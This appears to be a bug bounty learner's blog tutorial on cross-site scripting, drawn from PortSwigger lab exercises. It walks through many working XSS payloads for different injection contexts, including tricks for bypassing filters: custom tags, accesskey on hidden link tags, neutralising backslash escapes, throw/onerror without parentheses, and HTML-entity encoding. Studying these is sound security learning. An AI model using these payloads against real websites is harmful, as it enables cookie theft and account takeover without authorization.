XSS between HTML tags
When the XSS context is text between HTML tags, you need to introduce some new HTML tags designed to trigger execution of JavaScript.
Some useful ways of executing JavaScript are:
<script>alert(document.domain)</script> <img src=1 onerror=alert(1)>
Scenario 1 : Some times many of the tags are blocked at the injectable place (eg : search bar) , in such situations you should check which tags , events are blocked by using burpsuite intruder or on your own. You can use the tags and events list from XSS cheat sheet of PORT SWIGGER LABS — here
Scenario 2 : Sometimes all tags are blocked and now we have to check for the custom tags , for example :
<script>
location = 'https://example.com/?search=<xss id=x onfocus=alert(document.cookie) tabindex=1>#x';
</script>This injection creates a custom tag named xss and gave it a name using id=xso that it can be referred to, the tag contains an onfocus event handler that says When this element gets focus (like when clicked or selected), run this codealert(document.cookie) → shows the browser's cookies in a popup.
tabindex=1
👉 It makes that element "selectable" or "clickable" using the keyboard (like when you press the Tab key).
👉 Without this, the element might not get selected at all.
👉 With it, the browser can focus on it — which helps trigger the code (onfocus)
#x
👉 This tells the browser:
"Jump to the element with id = x."
That can trigger the onfocus event automatically.
Scenario 3 : We generally use eventhandlers like onerror, onfocus, etc…., in anchor tag using href attribute as payload , but if all the event handlers and href attribute is blocked then we can use payload as follow :
https://example.com/?search=<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>animate👉 Means "change something automatically"attributeName=href👉 It targets the link's destination (where it goes when clicked)values=javascript:alert(1)👉 It changes the link to run this JavaScript code: →alert(1)(a popup message) 👉 payload is trying to turn a normal link into a hidden JavaScript command
Sometimes the website will block few common svg tags and events , now you can cross check by using burp intruder or on your own , all XSS tags and events are here — https://portswigger.net/web-security/cross-site-scripting/cheat-sheet , for example the one which is below may work
https://YOUR-LAB-ID.web-security-academy.net/?search="><svg><animatetransform onbegin=alert(1)>XSS in HTML tag attributes
Scenario 1 : When the XSS context is into an HTML tag attribute value, you might sometimes be able to terminate the attribute value, close the tag, and introduce a new one. For example :
"><script>alert(document.domain)</script>- The attacker tries to break out of the attribute using
"> - Then they add a new tag:
<script> - That script runs JavaScript:
alert(document.domain)
They are escaping the safe area and injecting a new script that runs in the page.
🔹 But often websites block < > characters in such situations or they escape the angle brackets using backslash or something else ,So the attacker cannot easily add <script>. In such situations we use the following payload
" autofocus onfocus=alert(document.domain) x="Let's break this:
👉 The " (double quote) Closes the current HTML attribute value.
autofocus
👉 Makes the element automatically get focus when the page loads.
onfocus=alert(document.domain)
"When this element is focused, run JavaScript"
It shows a popup with the website domain
x="
👉 This is just to fix the HTML structure
- It prevents breaking the page layout
- Makes the injected code look "valid" to the browser
So the actual idea is: 👉 The attacker cannot insert normal scripts 👉 So they hide JavaScript inside an HTML attribute instead 👉 They force the browser to trigger it using events like "focus" 👉 Then it runs the malicious code automatically
So Even if <script> is blocked, attackers can still run JavaScript by breaking out of attributes and using event handlers like onfocus or onclick.
Scenario 2 : Sometimes in a website, your input is placed inside a link like this:
<a href="...">Normally, href should contain a website link (like google.com).
But If the website is not secure, an attacker can put this instead:
javascript:alert(document.domain)What that does:
- Instead of opening a normal website
- The browser thinks: "Oh, I should run this as code"
- So it runs JavaScript
- It shows a popup with the website's domain name
This is not only the context of reflected xss but there is same context(where we can inject payload) in stored xss as well , say for instance if the comment section in a website is vulnerable then if it allows user to input links like with <a href="USER_INPUT_HERE"> now the payload can be like http://javascript:alert("Hacked") , which upon clicking we can trigger alert
Scenario 3 :
👉 Sometimes:
- You cannot use
<script>or<svg>(blocked ❌) - You cannot use
<and>(encoded ❌)
BUT…
- You can still add attributes like:
accesskey= onclick=
👉 And that can still lead to XSS 💥
🔍 Let's break it down
when "angle brackets are encoded"
Instead of:
<script>alert(1)</script>Website shows:
<script>alert(1)</script>👉 It means that it is not executing out script but encoding it as text ,So we cannot create new tags ❌
"but still allow you to inject attributes"
Example website code:
<linkrel="canonical"href="USER_INPUT"> ## canonical link tagYou input:
" accesskey="x" onclick="alert(1)Result:
<linkrel="canonical"href=""accesskey="x"onclick="alert(1)"> ## payload👉 You added:
accesskeyonclick
What is accesskey?
It creates a keyboard shortcut
Example:
accesskey="x"👉 Press:
Alt + Shift + X(Windows)- or similar keys depending on OS
👉 That element gets "activated"
⚡ Combine with event handler (onclick)
accesskey="x" onclick="alert(1)"👉 When victim presses shortcut:
💥 alert(1) runs
🎯 Why this is useful
Even if:
- Tag is hidden ❌ (The
<link>tag is used to give information to the browser, not to the user so this tag is hidden and this tag is in <head>) → explained below in detail. - Not clickable ❌ (<link> tag are also not clickable, so as they are not clickable we can use the keyboard to trigger alert) → explained below
👉 You can still trigger it using keyboard
🧠 1. What is a canonical tag? A canonical tag tells search engines:
"This is the main (original) version of this page."
🔍 Example
<linkrel="canonical"href="<https://example.com/page1>">💡 Why it's used Imagine: Same page exists at:
/page1/page1?ref=google/page1?ref=facebook
👉 Search engines get confused which one is original website😵
So website says:
"Hey, treat
/page1as the main one"
⚠️ Important to remember(security)
- It(<link> tag) is inside
<head> - It is not visible
- You can't click it
- so onclick event handler won't run normally ❌
👉 But still can be used in XSS.
🧠 Why <link> is hidden, not visible, and not clickable
Because it was never designed to be part of the UI.
👉 Purpose of <link>
The <link> tag is used to give information to the browser, not to the user.
Example:
<link rel="canonical" href="https://example.com/page">This tells:
- search engines → "this is the main version of the page"
- browser → "this is metadata, not content"
Browsers only display what's inside:
<body>So anything in <head> (like <link>) is:
- processed internally
- not shown on screen
🖱️ Why it's not clickable
Clickable elements are things like:
<a>(links)<button><input>(some types)
But <link>:
- has no visual representation
- has no default interaction behavior
👉 So you can't click it
Now the context here is allowing the user input in the href field, the payload we use isas follows:
# " accesskey="x" onclick="alert(1)" x='
or
# 'accesskey='x'onclick='alert(1)
the final URL looks like :
# https://example.com/?'accesskey='x'onclick='alert(1)So, Even if you can't create tags or click elements, you can use keyboard shortcuts (accesskey) to trigger JavaScript events.
Example : When you write payload in search bar such as :
https://example.com/?search=" accesskey="x" onclick="alert(1)🔍 What happens internally
Website builds :
<linkrel="canonical"href=""accesskey="x"onclick="alert(1)">✔ Your payload becomes part of the tag
The site internally has something like:
<linkrel="canonical"href="USER_INPUT">👉 You cannot see this directly on page, but it's in the HTML (inside <head>)
SO,
URL parameter (search bar)→ input source
HTML template → injection point
Browser → execution environment
The idea of canonial link tag context came from hidden input type in form field, which is not visible on page : The researcher (from PortSwigger) was testing XSS in different situations:
Case : Hidden input field
<input type="hidden" ...>- They found XSS inside a hidden input
- Problem: cannot click or trigger it
- Solution: use
accesskeyWhat is hidden input type? A hidden input is a form field that: "Stores data but is not visible to the user" 🔍 Example
<inputtype="hidden"name="userId"value="12345">
we made it like :
<input type="hidden" accesskey="X" onclick="alert(1)"> ## exploitable💡 Why it's used To Store: user ID tokens (JWT Token, CSRF Token, etc…) session data 👉 User doesn't see it 👀 👉 But browser still uses it
XSS into JavaScript
When the XSS context is some existing JavaScript within the response, a wide variety of situations can arise, with different techniques necessary to perform a successful exploit.
Scenario 1 :
Terminating the existing script In the simplest case, it is possible to simply close the script tag that is enclosing the existing JavaScript, and introduce some new HTML tags that will trigger execution of JavaScript. For example, if the XSS context is as follows:
<script> ... var input = 'controllable data here'; ... </script>
then you can use the following payload to break out of the existing JavaScript and execute your own:
</script><img src=1 onerror=alert(document.domain)>
We may have a doubt that,
If we use </script> in payload, won't there be two </script> tags?
Will it break? Will it still execute?
✅ Yes, it still works ❌ It does NOT stop execution
🔍 Let's understand with example
🏗️ Original website code
<script>
varinput='USER_INPUT';
</script>💥 Your payload
</script><imgsrc=1onerror=alert(1)>🔄 Final HTML after injection
<script>
varinput='</script><imgsrc=1onerror=alert(1)>';
</script>🤯 Looks broken, right?
Inside JS:
varinput='</script>...👉 String is broken
👉 JavaScript is invalid ❌
⚡ BUT here is the trick
👉 Browser does NOT read it like JavaScript first
🧠 Important rule
Browser parses HTML first, then JavaScript
🔍 Step-by-step what browser does
✅ Step 1: HTML parsing
Browser sees:
<script>
varinput='Then it sees:
</script> ## the one in payload👉 It thinks:
"Script is finished here"
💥 So actual parsing becomes:
<script>
varinput='
</script>
<imgsrc=1onerror=alert(1)> ## Now it treats this as normal HTML and browser executes it⚡ Step 2: JavaScript execution
- First script is broken ❌ (ignored)
- But
<img>is valid HTML ✅
👉 Browser loads image → error occurs
👉 onerror=alert(1) runs
💥 XSS success
🎯 Key idea
</script>is treated as HTML, not JavaScript
❗ About our concern (two </script>)
We tought :
Will two
</script>cause problem?
👉 No, because:
- First
</script>→ closes the script early - Second
</script>→ just ignored / extra
When single quote and backslash are escaped , we can use payload
</script><script>alert(1)</script>Scenario 2 :
Breaking out of string This is describing a situation where your input is placed inside a JavaScript string, like this:
<script>
var input = 'controllable data here';
</script>Here, whatever the user types is treated as text inside quotes, not as code.
💡 What "breaking out of a string" means
Normally, JavaScript sees this:
var input = 'hello';It treats hello as just text.
But if an attacker can insert special characters like a quote ', they can try to end the string early and start writing real JavaScript.
🧠 Example idea
Safe version:
var input = 'hello';Attacker tries:
'; alert(document.domain); // ## payload
or
'-alert(1)-' ## payloadNow it becomes:
var input = ''; alert(document.domain); //';🔍 What happens step by step
1. ' closes the string
The original text string ends early.
2. alert(document.domain); runs as real JavaScript
Now the attacker's code executes.
3. // comments out the rest
Anything after // is ignored so the rest of the original script doesn't break.
Another Example :
'-alert(document.domain)-' ## payload This tries to:
- Close the string
- Run JavaScript (
alert(...)) - Re-open/repair syntax so the browser doesn't crash
⚠️ Important idea
"It is essential to repair the script"
This means:
If the attacker breaks JavaScript syntax (like forgetting to close something properly), the whole script might fail and nothing runs at all.
So attackers carefully:
- close strings properly
- add valid JavaScript
- comment out broken leftovers
This explains how attackers can inject JavaScript by closing a quoted string early and inserting their own code that the browser then executes.
Some applications attempt to prevent input from breaking out of the JavaScript string by escaping any single quote characters with a backslash. A backslash before a character tells the JavaScript parser that the character should be interpreted literally, and not as a special character such as a string terminator. In this situation, applications often make the mistake of failing to escape the backslash character itself. This means that an attacker can use their own backslash character to neutralize the backslash that is added by the application.
For example, suppose that the input:
';alert(document.domain)//
gets converted to:
\';alert(document.domain)//
You can now use the alternative payload:
\';alert(document.domain)//
which gets converted to:
\\';alert(document.domain)//
Here, the first backslash means that the second backslash is interpreted literally, and not as a special character. This means that the quote is now interpreted as a string terminator, and so the attack succeeds.
Scenario 3 :
Some websites make XSS more difficult by restricting which characters you are allowed to use. This can be on the website level or by deploying a WAF that prevents your requests from ever reaching the website. In these situations, you need to experiment with other ways of calling functions which bypass these security measures. One way of doing this is to use the throw statement with an exception handler. This enables you to pass arguments to a function without using parentheses. The following code assigns the alert() function to the global exception handler and the throw statement passes the 1 to the exception handler (in this case alert). The end result is that the alert() function is called with 1 as an argument.
onerror=alert;throw 1
There are multiple ways of using this technique to call functions without parentheses.
I have gone through one of the port swigger lab in which some of the tags , events handlers were blocked, and then by using onerror event handler was able to solve the lab , there was a payload with full URL looks like :
https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'👉 In lab input was inside:
body:'YOUR_INPUT'🔴 Goal
We need to:
- Break out of the string
- Execute JavaScript
- Bypass blocked characters
- Trigger:
alert(1337)✅ 1. Break out of the string
'}👉 This closes:
body:'...'Now you are in real JavaScript execution context.
✅ 2. Create a function trick
,x=x => {throw/**/onerror=alert,1337 }👉 This does:
- defines a function
x - inside it:
throwonerror=alert,1337
🔥 Important trick:
throwonerror=alert,1337means:
- assign
alerttoonerror - throw
1337 - → triggers
alert(1337)
✅ 3. Bypass filters (/**/)
throw/**/onerror=alert👉 /**/ = comment
Used to:
- bypass filters blocking spaces or keywords
✅ 4. The magic bypass
toString=x,window+''What happens:
window + ''forces string conversion- JavaScript calls:
window.toString()But you changed:
toString=x👉 So instead of normal behavior:
x()runs💥 Result:
x()→throw→ onerror → alert(1337)✅ 5. Fix syntax at the end
,{x:'👉 Just balances the remaining code so page doesn't break
Scenario 4 :
Making use of HTML-encoding
When the XSS context is some existing JavaScript within a quoted tag attribute, such as an event handler, it is possible to make use of HTML-encoding to work around some input filters.
When the browser has parsed out the HTML tags and attributes within a response, it will perform HTML-decoding of tag attribute values before they are processed any further. If the server-side application blocks or sanitizes certain characters that are needed for a successful XSS exploit, you can often bypass the input validation by HTML-encoding those characters.
For example, if the XSS context is as follows:
<a href="#" onclick="... var input='controllable data here'; ...">
and the application blocks or escapes single quote characters, you can use the following payload to break out of the JavaScript string and execute your own script:
'-alert(document.domain)-'
The ' sequence is an HTML entity representing an apostrophe or single quote. Because the browser HTML-decodes the value of the onclick attribute before the JavaScript is interpreted, the entities are decoded as quotes, which become string delimiters, and so the attack succeeds.
Similar context possible for the stored XSS as well
Scenario 5 :
XSS in JavaScript template literals
Normally in JavaScript, strings use:
'text'
"text"But template literals use:
`text`👉 Notice the backticks (`)
🔹 Example
varname="John";
varmsg=`Hello${name}`;👉 Output:
Hello John🔥 What is ${...} ?
Inside backticks:
${...}👉 means:
"Run this JavaScript code and put the result here"
🧠 Simple example
`2 + 2 =${2+2}`
👉 Output:
2 + 2 = 4
For example, the following script will print a welcome message that includes the user's display name:
document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;
When the XSS context is into a JavaScript template literal, there is no need to terminate the literal. Instead, you simply need to use the ${...} syntax to embed a JavaScript expression that will be executed when the literal is processed. For example, if the XSS context is as follows:
<script> ... var input = `controllable data here`; ... </script>
then you can use the following payload to execute JavaScript without terminating the template literal:
${alert(document.domain)}
Thank You , Sorry for a bit long article….
13v! Bug Bounty Learner | H@ppie H@ck!nG